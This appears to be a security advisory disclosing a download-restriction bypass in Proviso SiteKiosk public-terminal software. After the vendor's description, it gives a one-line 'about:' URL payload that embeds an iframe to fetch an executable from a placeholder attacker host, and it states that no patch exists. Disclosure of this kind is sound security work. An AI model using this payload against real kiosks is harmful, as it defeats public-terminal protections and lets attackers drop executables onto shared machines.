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Proviso SiteKiosk File Download Vulnerability



[>>] Proviso SiteKiosk File Download Vulnerability [<<]


[x] Vendor Information:

"SiteKiosk is a software for public access internet terminals and lets you turn 
any computer into a secure multilanguage Internet terminal (already 20 
different languages included), allowing the user to access the Internet but 
protecting the underlying operating system and files. Possible uses include 
presentations, exhibitions, libraries, and more. SiteKiosk works with normal 
displays and Touchscreens. A keyboard doesn't even have to be attached -- text 
can be entered via a keypad with a mouse. Plentiful options let you decide the 
amount of security your kiosk needs, from hard-disk protection to prohibiting 
specific Websites. The program can be used with either a direct network 
connection or Dial-Up Networking, providing Internet access "on demand." Other 
features include multiple-window support, automatic shutdown/restart, 
Shell-Replacement, hard-disk protection, thorough event-logging support, 
Log-Out Button, content-advisor, great website filtering (with automatic update)
  , an easy-to-use configuration wizard, and more. SiteKiosk supports different 
payment methods like coin machines, bill acceptors, smart cards and others. 
Also very nice is the webcam support which enables users to send voice, video 
and photo emails. It is also possible to administer terminals by remote. 
SiteKiosk uses Internet Explorer as its basis but presents a much simplified 
interface that even the novice user will understand. Excellent online help is 
included."

[x] Attack Information

SiteKiosk tries to block and avoid file downloads. If you click on a link which 
saves a file automatically on your hard drive (e.g. an exe download link) or if 
you right click something and select "save as..." a window will pop up which 
says that it isn't possible to download the file. But you can bypass the issue 
with a special url - you've got to use the "about:"-url. SiteKiosk uses the 
microsoft internet explorer engine to display web sites, so you can also use 
"about:" to display anything directloy from the url. For example "about:hello" 
will display the text "hello" directly in the browser. Of course you can use 
HTML too: "about:<b>hello</b>" will display the text "hello" bold. Normally 
this is harmless, but in SiteKiosk you can use it to download files.

[x] Exploit

Just access this url:

about:<iframe src="http://www.attacker.com/file.exe";></iframe>

[x] Patch

None

[x] Credits

The vulnerability has been discovered by katharsis -

www.katharsis.x2.to